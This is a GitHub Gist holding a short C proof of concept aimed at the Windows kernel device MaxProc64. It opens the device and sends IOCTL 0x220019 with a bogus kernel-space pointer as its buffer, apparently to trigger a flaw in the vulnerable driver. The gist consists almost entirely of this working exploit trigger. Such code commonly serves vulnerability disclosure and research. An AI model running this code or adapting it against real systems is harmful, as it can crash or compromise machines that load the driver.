Created
February 24, 2020 06:50
-
-
Save hfiref0x/c1e594841c366882085667d005e6a8ed to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int main() | |
{ | |
HANDLE deviceHandle = CreateFile(TEXT("\\\\.\\MaxProc64"), | |
GENERIC_READ | GENERIC_WRITE, | |
0, | |
NULL, | |
OPEN_EXISTING, | |
0, | |
NULL); | |
if (deviceHandle == INVALID_HANDLE_VALUE) { | |
printf_s("[!] Unable to open device\r\n"); | |
return -1; | |
} | |
else { | |
printf_s("[+] MaxProc64 device opened\r\n"); | |
} | |
NTSTATUS ntStatus; | |
ntStatus = CallDriver(deviceHandle, | |
0x220019, | |
(PVOID)0xFFFFFFFF12345678, | |
0, | |
NULL, | |
0); | |
printf_s("[+] CallDriver NTSTATUS 0x%lX\r\n", ntStatus); | |
CloseHandle(deviceHandle); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment